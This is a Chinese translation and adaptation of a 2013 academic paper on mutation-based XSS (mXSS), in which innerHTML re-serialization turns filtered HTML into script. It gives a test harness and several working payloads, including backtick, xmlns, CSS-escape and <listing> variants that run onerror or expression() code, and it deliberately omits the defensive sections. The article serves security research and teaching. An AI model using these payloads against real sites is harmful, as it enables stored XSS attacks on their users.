本文原文是由國外大牛Mario Heiderich在2013年所寫的一篇paper:mXSS attacks: attacking well-secured web-applications by using innerHTML mutations. 本人覺得此類mXSS攻擊較為隱蔽,常規的XSS過濾器并不能防止此類攻擊。在測試QQ空間日志中的確存在此類問題后,認為mXSS在WEB應用中還是存在較大的潛在危害,因此,決定將此文做一個翻譯。但是,一來由于水平有限,僅能依靠自己淺薄的理解來大致的翻譯一下,文中圖片以及代碼都是在自己的理解上加以重新闡述,也許這樣更加易于讀者掌握。如果英文較好的同學可自行閱讀英文原版。二來,我個人僅注重“攻”的一部分,本文中我認為實用性不高的部分,以及如何防御此類攻擊的大幅段落,我并未進行翻譯,因而有需要的讀者也需要自行去了解這些部分。不論如何,希望本文能夠讓國內的研究者們對mXSS有一個基本的了解。
不論是服務器端或客戶端的XSS過濾器,都認定過濾后的HTML源代碼應該與瀏覽器所渲染后的HTML代碼保持一致,至少不會出現很大的出入(圖1)。然而,如果用戶所提供的富文本內容通過javascript代碼進入innerHTML屬性后,一些意外的變化會使得這個認定不再成立:一串看似沒有任何危害的HTML代碼,將逃過XSS過濾器的檢測,最終進入某個DOM節點的innerHTML中,瀏覽器的渲染引擎會將本來沒有任何危害的HTML代碼渲染成具有潛在危險的XSS攻擊代碼。隨后,該段攻擊代碼,可能會被JS代碼中的其它一些流程輸出到DOM中或是其它方式被再次渲染,從而導致XSS的執行。 這種由于HTML內容進入innerHTML后發生意外變化(mutation,突變,來自遺傳學的一個單詞,大家都知道的基因突變,gene mutation),而最終導致XSS的攻擊流程,被稱為突變XSS(mXSS, Mutation-based Cross-Site-Scripting),整個流程的示意圖見圖2。從流程中不難看出,突變發生在XSS過濾流程之后,因此不論是服務器端還是客戶端的XSS過濾器對這類攻擊并不能進行有效的防御。
圖1. XSS過濾所假設的前提
圖2. mXSS攻擊流程
將內容置于innerHTML這種操作,在現在的WEB應用代碼中十分常見,根據原文作者的統計,1W個常見的WEB應用中,大約有1/3使用了innerHTML屬性,這將會導致潛在的mXSS攻擊。從瀏覽器角度來講,mXSS對三大主流瀏覽器(IE,CHROME,FIREFOX)均有影響。表1列出到目前為止已知的mXSS種類,接下來的部分將分別對這幾類進行討論與說明。建議讀者主要使用IE8來測試本文中的代碼。具體測試代碼如下:
#!html
<div id="testa">xx</div>
<div id="testb">xx</div>
<script>
//請自行將輸入的HTML代碼中的雙引號以及 \進行轉義操作
//其中: " -> \" , \ -> \\
var m="此處輸入被測試的HTML代碼";
//1. 將用戶輸入內容放入innerHTML
var x=document.getElementById("testa");
x.innerHTML=m;
//2. 發生突變后,取出突變后的內容,放入html變量
var html=x.innerHTML;
//3. 彈出突變后的代碼
alert(html);
//4. 將突變后的代碼輸出到DOM中
document.getElementById("testb").innerHTML = html;
</script>
? 表1. 本文中所涉及的mXSS種類
英文 | 中文 |
---|---|
Backtick Characters breaking Attribute Delimiter Syntax | 反引號打破屬性邊界導致的 mXSS |
XML Namespaces in Unknown Elements causing Structural Mutation | 未知元素中的xmlns屬性所導致的mXSS |
Backslashes in CSS Escapes causing String-Boundary Violation | CSS中反斜線轉義導致的mXSS |
Mis?t Characters in Entity Representation breaking CSS Strings | CSS中雙引號實體或轉義導致的mXSS |
CSS Escapes in Property Names violating entire HTML Structure | CSS屬性名中的轉義所導致的mXSS |
Entity-Mutation in non-HTML Documents | 非HTML文檔中的實體突變 |
Entity-Mutation in non-HTML context of HTML documents | HTML文檔中的非HTML上下文的實體突變 |
該類型是最早被發現并利用的一類mXSS,于2007年被提出,隨后被有效的修復,所以當前絕大多數用戶的瀏覽器不會被此mXSS所影響。當時的利用代碼如下:
#!html
輸入形式:
<img src="test.jpg" alt ="``onload=xss()" />
突變形式:
<IMG alt =``onload=xss() src ="test.jpg">
可以看到,突變后的形式變成了有效的XSS攻擊代碼。
一些瀏覽器不支持HTML5的標記,例如IE8,會將article,aside,menu等當作是未知的HTML標簽。對于開發者來說,雖然是未知標簽,但是我們還是可以通過設置這些標簽的xmlns 屬性,讓瀏覽器知道這些未知的標簽是的XML命名空間是什么。一般來說,在HTML中,指定這些未知標簽的xmlns屬性并沒有任何意義,也不會改變它們在瀏覽器中的外觀之流的東西。但是,這些被指定了xmlns屬性的標簽進入innerHTML后,被瀏覽器所渲染,就會發生一些變化,而這個變化被十分猥瑣的用于了XSS。首先我們來看正常情況下設置xmlns的情況。
#!html
輸入形式:
<pkav xmlns="urn:wooyun">123
突變形式:
<wooyun:pkav xmlns="urn:wooyun">123</wooyun:pkav>
接著猥瑣流很快就會想到下面的代碼,可以看出,成功變成了含有onerror=alert(1) 的img標簽。
#!html
輸入形式:
<pkav xmlns="urn:img src=1 onerror=alert(1)//">123
突變形式:
<img src=1 onerror=alert(1)//:pkav xmlns="urn:img src=1 onerror=alert(1)//">123</img src=1 onerror=alert(1)//:pkav>
擴展:細心的同學也許會注意到,我們的代碼中,并未閉合
#!html
輸入形式:
<pkav xmlns="urn:wooyun">123
過濾后形式:
<pkav xmlns="urn:wooyun">123</pkav>
突變后形式:
<?XML:NAMESPACE PREFIX = [default] urn:wooyun NS = "urn:wooyun" /><pkav xmlns="urn:wooyun">123</pkav>
聰明的我們應該不難想到應對辦法,這應該也就是http://html5sec.org/?xmlns#97中所描述問題的發現過程(由Silin于2011年發現)。
#!html
輸入形式:
<pkav xmlns="><iframe onload=alert(1)">123</pkav>
突變后形式:
<?XML:NAMESPACE PREFIX = [default] ><iframe onload=alert(1) NS = "><iframe onload=alert(1)" /><pkav xmlns="><iframe onload=alert(1)">123</pkav>
在CSS中,允許用\來對字符進行轉義,例如:property: 'v\61 lue'
表示 property:'value'
,其中61是字母a的ascii碼(16進制)。\后也可以接unicode,例如:\20AC 表示 € 。正常情況下,這種轉義不會有問題。但是碰上innerHTML后,一些奇妙的事情就發生了。看以下代碼。
#!html
輸入形式:
<p style="font-family:'ar\27 \3bx\3a expression\28xss\28\29\29\3bial';"></p>
突變形式:
<P style="FONT-FAMILY: 'ar';x:expression(xss());ial'"></P>
可以看到,突變后的形式中,原輸入的font-family的屬性值中的所有轉義形式均被解碼回它原有的形式。其中\27被解碼為單引號,提前閉合掉了FONT-FAMILY屬性,接著插入了我們自定義的x屬性,利用expression來執行Javascript代碼。如果結合我們先前已經有所了解的CSS 中的一些XSS技巧,將會讓情況看起來變得更加糟糕。例如以下代碼,看起來,我們可以把expression變得亂七八糟。
#!html
輸入形式:
<p style="font-family:'ar\27 \3bx\3a ex\5cpre\2f**\2fssion\28 xss\28 1\29\29\3bial';"></p>
突變形式:
<P style="FONT-FAMILY: 'ar';x:ex\pre/**/ssion(xss(1));ial'"></P>
接著上一部分,依然是CSS中所存在的問題,既然反斜線轉義會被解碼為它原本的形式,那么會出現下面這樣一種情況。
#!html
輸入形式:
<p style="font-family:'aaaa\22\3e\3cimg onerror ….';"></p>
預期的突變形式:
<p style="font-family:'aaaa"><img onerror ….';"></p>
這樣一來,不就可以插入任意標簽了么?想法很好。但實際上如何呢?
#!html
實際的突變形式:
<P style="FONT-FAMILY: 'aaaa'><img onerror ….'"></P>
并非我們想象的那樣,而是我們的\22竟然變成了單引號,按照原文作者的說法,我們只能對這種奇怪的結果所產生的原因做出推測:\22 先被解碼為 ",但考慮到雙引號會閉合掉style屬性,所以瀏覽器渲染引擎將"進一步轉變為了',以避免這種情況的發生。當然,這也意味這,除了 \22,\0022 之外,HTML實體如:" " "
等雙引號的表示形式均可導致這類問題。
前2部分都講到的CSS屬性值中的情況,如果CSS屬性名中出現了反斜線轉義,又會如何?見下面代碼。
#!html
輸入形式:
<img src=1 style="font-fam\22onerror\3d alert\28 1\29\20 ily:'aaa';">
突變形式:
<IMG style="font-fam"onerror=alert(1) ily: ''" src="1">
可以看到,我們用轉義的內容,嵌入到font-family的屬性名中,突變后,\22被解碼回雙引號,并且閉合掉了style屬性,從而我們可以通過onerror事件執行javascript代碼,需要注意的是,=號,括號等也需要被寫為轉義形式。我們亦可在\22后加上\3e來閉合掉img標簽,并在此之后插入自己的HTML標簽。
有時,我們還會碰到style屬性用單引號做邊界符的情況。對于這種情況,style的邊界符會被渲染回雙引號,我們的\22依然可以發揮它的作用,例如:
#!html
輸入形式:
<p style='fo\27\22o:bar'>
突變形式:
<p style="fo'"o: bar"></p>
此外,在本文原作者的PPT中,還提到了一個<listing>
標簽導致的mXSS,大家理解上面的例子后,本例也較為簡單。
#!html
輸入形式:
<listing><img src=1 onerror=alert(1) ></listing>
突變形式:
<LISTING><img src=1 onerror=alert(1) ></LISTING>
在 WooYun: QQ空間某功能缺陷導致日志存儲型XSS - 15 中,筆者就使用了該標簽來觸發了 mXSS(IE8及IE9下目前均有效),讀者可以參考該實際案例進一步了解mXSS的攻擊及挖掘流程。
上面已經講解了不同種類的mXSS,那么什么樣的代碼易于遭受mXSS攻擊呢?根據圖2中的mXSS流程,JS代碼中,至少要將用戶提供的內容放入DOM中兩次,才會觸發XSS攻擊。原作者給出了以下代碼場景:
1) a.innerHTML = b.innerHTML ;
2) a.innerHTML += 'additional content';
3) a.insertAdjacentHTML ( 'beforebegin' , b.innerHTML ) ;
4) document.write (b.innerHTML) ;
其中,1) 與 4) 里的b.innerHTML含有突變后的內容,被通過innerHTML或者是document.write的方式再次輸出到DOM中,從而觸發mXSS。 3)使用了insertAdjacentHTML函數(算是innerHTML的加強版,具體用法可自行了解)來將含有突變內容的b.innerHTML加入a中,從而導致mXSS。而2) 則較為隱蔽,a.innerHTML中存在突變后的內容,當我們使用+=來向a.innerHTML中追加內容時,a會被重新渲染,從而觸發mXSS。
原文中還有兩類:非HTML文檔中的實體突變以及HTML文檔中的非HTML上下文的實體突變,本人覺得被實際應用的場景并不豐滿,就不進行闡述了,有興趣的研究者可以自行了解。 希望看過本文后,可以為大家提供一些思路性的東西。 如果你有此方面的意外發現,一定不要忘了與我分享:[email protected](歡迎郵箱xss來稿)。
1.?Heiderich, M., Schwenk, J., Frosch, T., Magazinius, J., & Yang, E. Z. (2013, November). mXSS attacks: attacking well-secured web-applications by using innerHTML mutations. In?Proceedings of the 2013 ACM SIGSAC conference on Computer & communications security?(pp. 777-788). ACM.
2.?Heiderich, M. The innerHTML Apocalypse. http://www.slideshare.net/x00mario/the-innerhtml-apocalypse. Security Research / Penetration Testing at Cure53 on Apr 25, 2013